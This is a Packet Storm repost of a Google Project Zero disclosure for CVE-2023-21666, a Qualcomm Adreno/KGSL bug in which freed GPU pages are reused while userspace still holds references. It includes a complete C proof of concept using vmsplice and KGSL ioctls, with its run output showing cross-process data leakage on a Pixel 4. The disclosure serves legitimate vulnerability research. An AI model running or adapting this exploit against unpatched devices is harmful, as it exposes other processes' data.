what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Qualcomm Adreno/KGSL Data Leakage

Qualcomm Adreno/KGSL Data Leakage
Posted May 31, 2023
Authored by Jann Horn, Google Security Research

On Qualcomm Adreno/KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don't have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process.

tags | exploit
advisories | CVE-2023-21666
SHA-256 | 912899972d766ddbe72f5a9e3255c982b1f4d47a09b7d4e6f29f8440583aa47c

Qualcomm Adreno/KGSL Data Leakage

Change Mirror Download
Qualcomm Adreno/KGSL: pages can be freed to page pool while having GPU references [on !CONFIG_QCOM_KGSL_USE_SHMEM]

[Tested on a Pixel 4 again with a slightly outdated version of KGSL. I ordered a Pixel 5a but don't have it yet...]

On KGSL builds where CONFIG_QCOM_KGSL_USE_SHMEM is not set (or on older KGSL versions without CONFIG_QCOM_KGSL_USE_SHMEM), KGSL allocates GPU-shared memory from its own page pool. Pages from this pool are inserted into VMAs that don't have any weird flags like VM_PFNMAP set, which means userspace can grab extra references to these pages through get_user_pages() (for example, using vmsplice()). But when GPU-shared memory is freed, KGSL puts the freed pages into its own page pool without checking the page refcount. This means that pages that are still accessible from userspace can be reallocated as GPU memory by another process. I don't know exactly what the security impact of this is and whether it leads to privilege escalation between userspace processes, but it probably leads at least to data leakage?

Testcase that demonstrates cross-process data leakage (in an artificial scenario, between two cooperating processes):


#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define SYSCHK(x) ({ \\
typeof(x) __res = (x); \\
if (__res == (typeof(x))-1) \\
err(1, \"SYSCHK(\" #x \")\"); \\
__res; \\
})


#define KGSL_IOC_TYPE 0x09
enum kgsl_user_mem_type {
KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
KGSL_USER_MEM_TYPE_ION = 0x00000003,
KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,
KGSL_USER_MEM_TYPE_MAX = 0x00000007,
};

struct kgsl_gpumem_alloc {
unsigned long gpuaddr; /* output param */
size_t size;
unsigned int flags;
};
#define KGSL_MEMALIGN_SHIFT 16
#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
#define KGSL_CACHEMODE_SHIFT 26
#define KGSL_CACHEMODE_WRITECOMBINE 0
#define KGSL_CACHEMODE_UNCACHED 1
#define KGSL_CACHEMODE_WRITETHROUGH 2
#define KGSL_CACHEMODE_WRITEBACK 3
#define KGSL_MEMTYPE_SHIFT 8
#define KGSL_MEMTYPE_OBJECTANY 0

#define IOCTL_KGSL_GPUMEM_ALLOC \\
_IOWR(KGSL_IOC_TYPE, 0x2f, struct kgsl_gpumem_alloc)

struct kgsl_sharedmem_free {
unsigned long gpuaddr;
};
#define IOCTL_KGSL_SHAREDMEM_FREE \\
_IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)

void child_func(void) {
int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR));

for (int i=0; i<10000; i++) {
struct kgsl_gpumem_alloc kga = {
.size = 0x1000,
.flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT)
};
SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga));
unsigned long gpuaddr = kga.gpuaddr;
//printf(\"[c] allocated 0x%lx\
\", gpuaddr);
unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr));
map[0] = 0xbbbb000000000000 | (i);
//printf(\"[c] mapped as %p\
\", map);
}
printf(\"[c] done with spam\
\");
sleep(5);
}

int main(void) {
setbuf(stdout, NULL);
setbuf(stderr, NULL);

int kgsl_fd = SYSCHK(open(\"/dev/kgsl-3d0\", O_RDWR));
struct kgsl_gpumem_alloc kga = {
.size = 0x1000,
.flags = (2<<KGSL_MEMALIGN_SHIFT) | KGSL_MEMFLAGS_USE_CPU_MAP | (KGSL_CACHEMODE_WRITEBACK << KGSL_CACHEMODE_SHIFT) | (KGSL_MEMTYPE_OBJECTANY << KGSL_MEMTYPE_SHIFT)
};
SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_ALLOC, &kga));
unsigned long gpuaddr = kga.gpuaddr;
printf(\"[p] allocated 0x%lx\
\", gpuaddr);
unsigned long *map = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, kgsl_fd, gpuaddr));
map[0] = 0xaaaaaaaa;
printf(\"[p] mapped as %p\
\", map);

int pipefds[2];
SYSCHK(pipe(pipefds));
struct iovec iov = {
.iov_base = map,
.iov_len = 0x1000
};
assert(SYSCHK(vmsplice(pipefds[1], &iov, 1, SPLICE_F_NONBLOCK)) == iov.iov_len);

SYSCHK(munmap(map, 0x1000));
struct kgsl_sharedmem_free arg_sf = {
.gpuaddr = gpuaddr
};
SYSCHK(ioctl(kgsl_fd, IOCTL_KGSL_SHAREDMEM_FREE, &arg_sf));

pid_t child = SYSCHK(fork());
if (child == 0) {
SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL));
if (getppid() == 1)
exit(0);
child_func();
exit(0);
}

sleep(1);
unsigned long later_data;
assert(SYSCHK(read(pipefds[0], &later_data, 8)) == 8);
printf(\"[p] read 0x%lx\
\", later_data);
}

Output:

$ aarch64-linux-gnu-gcc -static -o kgsl-pool-page-uaf kgsl-pool-page-uaf.c && adb push kgsl-pool-page-uaf /data/local/tmp/ && adb shell /data/local/tmp/kgsl-pool-page-uaf
kgsl-pool-page-uaf: 1 file pushed, 0 skipped. 80.7 MB/s (704808 bytes in 0.008s)
[p] allocated 0x500000000
[p] mapped as 0x726bfc4000
[p] read 0xbbbb00000000115a



This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2023-05-09.

Related CVE Numbers: CVE-2023-21666.



Found by: jannh@google.com

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close